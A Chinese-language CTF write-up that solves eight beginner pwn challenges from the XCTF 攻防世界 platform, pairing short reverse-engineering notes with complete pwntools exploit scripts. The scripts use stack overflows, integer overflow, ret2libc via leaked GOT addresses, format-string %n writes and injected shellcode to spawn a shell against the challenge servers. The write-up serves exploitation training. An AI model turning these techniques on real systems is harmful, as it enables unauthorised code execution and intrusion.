攻防世界新手Pwn

攻防世界pwn新手区

hello_pwn

照例查

image-20210731224644451

IDA

image-20210731224814074

分析if语句知道当dword_60106C=1853186401可以cat flag

可知unk…与dword…这俩变量都在.bss段,相隔4个字符,unk…是由我们输入的,可以利用其覆盖dword…的值就行,ROP直接打掉

image-20210731224955916

exp:

1
2
3
4
5
6
7
8
from pwn import *

r=remote('111.200.241.244',53218)

payload='a'*4+p64(1853186401)
r.recvuntil("lets get helloworld for bof\n")
r.sendline(payload)
print r.recv()

level2

常规

image-20210802140340867

IDA

image-20210802140432092

跟进

image-20210802140447125

读0x100,明显栈溢出,如出一辙跟进buf

image-20210802140530666

image-20210802140542783

所以buf距离ret的长度为0x88+0x04

发现system和/bin/sh,记录地址

image-20210802140709214

image-20210802140720269

将返回地址跳转至system函数再压入参数/bin/sh可以获得控制权

但是自己写exp的时候错了,查看wp发现漏了个p32(0)

1
2
3
4
5
6
7
8
from pwn import *

r=remote('111.200.241.244',65098)
sys=0x08048320
sh=0x0804A024
payload='a'*0x88+'a'*4+p32(sys)+p32(0)+p32(sh)
r.send(payload)
r.interactive()

image-20210802141016367

string

照例分析

image-20210802213323993

往下运行

image-20210802213432276

是一个很长的文字游戏,输到最后直接就结束了,拖IDA

image-20210802213507980

大致分析得出v4是关键变量,跟进其函数

image-20210802213600097

这就是那个界面了,三个函数分别点进去

image-20210802213639203

第一个没什么用应该

image-20210802213916017

第二个,看见printf,是有一个格式化字符串漏洞

image-20210802214052838

第三个,if语句分析知道是要令a1=a1[1](a1是啥不知道)

最后得知,a1就是v4,可以利用函数指针来调用系统函数system(“/bin/sh”)来获取控制权限,但是system(“/bin/sh”)并不能被函数指针所理解,这里应该转化成机器码,用asm(shellcraft.sh())

回溯到main

image-20210802215639897

只需要将v3[0] = 85或者v3[1] = 68,就是通过格式化字符串漏洞使数组的前两个数相等就可以调用函数了。这里选择是前者

需要注意的是:

image-20210802220029709

这个是64位,前六个参数放寄存器,第七个参数开始放在栈中所以偏移量是7

exp就有了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(arch = 'amd64', os = 'linux')#这个不能少
r = remote("111.200.241.244", 51763)
r.recvuntil("secret[0] is ")
addr = int(r.recvuntil("\n")[:-1], 16)

r.sendlineafter("What should your character's name be:\n", "aaa")
r.sendlineafter("So, where you will go?east or up?:\n", "east")
r.sendlineafter("go into there(1), or leave(0)?:\n", "1")
r.sendlineafter("'Give me an address'", str(addr))

r.recvuntil("And, you wish is:\n")
payload = 'a' * 85 + "%7$n"
r.sendline(payload)

shellcode = asm(shellcraft.sh())
r.sendline(shellcode)
r.interactive()

image-20210802221002513

guess_num

知识补充:C++ rand 与 srand 的用法

照例

image-20210802221746792

运行

image-20210803001619619

拖IDA

image-20210803001804263

image-20210803001950624

循环,根据随机数计算的法则输入十个数,不相同就GG,相同就cat flag

考点为栈溢出

image-20210803015022245

中间隔着0x20加seed四个字节

选择用“aaaa”覆盖掉seed,但是写脚本的时候要把aaaa转为十六进制即0x61616161

在Linux里根据IDA里随机数的计算法则写伪随机数脚本

1
2
3
4
5
6
7
8
9
10
11
#include<stdio.h>
#include<stdlib.h>
int main(){
int a, i;
srand(0x61616161);
for(i=0;i<10;i++){
a=rand()%6+1;
printf("%d\n",a);
}
return 0;
}

运行出来得到

image-20210803015410884

直接完成一个简单的exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#context(arch = 'amd64', os = 'linux')
r = remote("111.200.241.244", 60098)

payload='a'*0x20+"aaaa"

r.sendlineafter("Your name:",payload)

num=["5","6","4","6","6","2","3","6","2","2"]

for i in range(10):

r.sendlineafter("Please input your guess number:",num[i])

r.interactive()

法二:利用v7覆盖seed[0],使seed[0]已知,然后算法里循环,就拿到flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from ctypes import *
context.log_level = 'debug'
#p = remote('111.198.29.45',41080)
p = process('./guess_num')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = "a" * 0x20 + p64(0)
p.recvuntil('name:')
p.sendline(payload)
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
p.recvuntil('number:')
p.sendline(num)
p.interactive()

int_overflow

知识补充:整数溢出

照例查运行

image-20210803204915843

吓得我以为要出flag

拖IDA跟进login

image-20210803205002331

跟进strcpy()函数,发现存在栈溢出

image-20210803205112864

可以知道dest距离ret的长度为0x14+4

然后又发现了cat flag

image-20210803205315714

image-20210803205340200

记录地址0x0804868b

利用整数溢出(在linux环境下,编译器会提醒溢出,但仍然会输出的值)返回ida查看变量v3的值为[3,8),而输入的密码变量s的长度为0x199,即十进制里的409,又因为v3的类型为unsigned _int8,即[8位无符号整数](https://zhidao.baidu.com/question/1818954413951622788.html#:~:text=8位二进制所能表示的无符号整数范围为0~255;8位二进制所能表示的带符号整数范围为-128~127。 无符号数 (Unsigned number)是相对于有符号数而言的,指的是整个机器字长的全部二进制位均表示数值位,相当于数的绝对值。 用二进制数的最高位表示符号,最高位是0,表示正数,最高位是1,表示负数。 这种说法本身没错,可是如果没有下文,那么它就是错的。 至少它不能解释,为什么字符类型的-1用二进制表示是“1111,1111” (16进制为FF);而不是我们更能理解的“1000 0001”。 有符号整数可表示正整数、0和负整数值。 其二进制编码方式包含 符号位 和 真值域。),最大值为255。所以v3的最大值为255且为无符号整数,所以当s长度为256时v3=0,所以s的输入长度为[259,264)即可符合v3的值

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#context(arch = 'amd64', os = 'linux')
r = remote("111.200.241.244", 62179)

sys=0x0804868b
payload='a'*0x14+'a'*4+p32(sys)
payload = payload.ljust(259,'a')

r.sendlineafter("Your choice:","1")
r.sendlineafter("Please input your username:","111")
r.sendlineafter("Please input your passwd:",payload)
r.interactive()

image-20210803210809155

cgpwn2

知识补充:0xdeadbeef

常规操作image-20210803212301602

IDA跟进

image-20210803212329433

发现gets,栈溢出。很快找到溢出点s

image-20210803212806191

image-20210803212825087

可知s距离ret长度为0x26+4,随后又记录下system的地址为08048420

image-20210803212923418

不过system没有/bin/sh可以执行,不知道在哪里搞出来,查看wp

得知name在.bss里,可以把它写成/bin/sh

image-20210803212947420

exp就有了

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#context(arch = 'amd64', os = 'linux')
r = remote("111.200.241.244", 51159)

r.sendlineafter('name','/bin/sh')
sys=0x08048420
sh=0x0804A080

payload='a'*0x26+'a'*4+p32(sys)+p32(0xdeadbeef)+p32(sh)

r.sendlineafter("hello,you can leave some message here:",payload)
r.interactive()

image-20210803213109114

level3

照例

image-20210803215305368

看IDA里有read和write,是ret2libc的题型,直接看wp

思路是通过read函数的栈溢出返回到write函数,利用write函数写出__libc_start_main在got表中的位置,利用LibcSearcher工具查找到相应的libc库,从而得到基地址,不过题目给了也不用工具

拿exp——

使用工具版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
from LibcSearcher import LibcSearcher


r=remote("")

elf=ELF('./level3')

write_plt = elf.plt['write']
libc_start_main_got = elf.got['__libc_start_main']
vuln = 0x0804844b

r.recvline()
payload1 = 'a'*140 +p32(write_plt) + p32(vuln) + p32(1) + p32(libc_start_main_got) + p32(4)
r.sendline(payload1)
libc_start_main_addr = u32(r.recv()[0:4])

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')
payload2 = flat(['a'*140, system, 0xdeadbeef, binsh])
r.sendline(payload2)
r.interactive()

使用题目库版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import*

#r=process('./level3')
r = remote("")
elf=ELF('./level3')

write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']

r.recvline()
payload1 = 'a'*140 +p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
r.sendline(payload1)
write_got_addr = u32(r.recv()[0:4])

libc = ELF('./libc_32.so.6')
libcbase = write_got_addr - libc.sym['write']

system = libcbase + libc.sym['system']

binsh = libc.search("/bin/sh").next() + libcbase
payload2 = flat(['a'*140, system, 0xdeadbeef, binsh])

#r.recvuntil(':\n')
r.sendline(payload2)
r.interactive()

image-20210803233148272

CGfsb

照例

image-20210803233438018

IDA

image-20210803235552887

if语句可以分析出来pwnme=8就可以cat flag,又发现了printf,存在格式化字符串漏洞,通过地址任意写,即把s的内容写成pwnme的地址即8,所以先记录下pwnme的地址

image-20210804001143804

然后找偏移量

image-20210804000926106

数出来是10,即任意写可为%10$n,又因为p32将地址转为4个字节,所以还差4个字节,用“aaaa”代替就行

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#context(arch = 'amd64', os = 'linux')
#r = process("./CGfsb")
r=remote("111.200.241.244",58931)

r.sendlineafter("please tell me your name:","hh")

sys = 0x0804A068
payload = p32(sys)+"aaaa%10$n"
r.sendlineafter("leave your message please:",payload)

r.interactive()

image-20210804153644665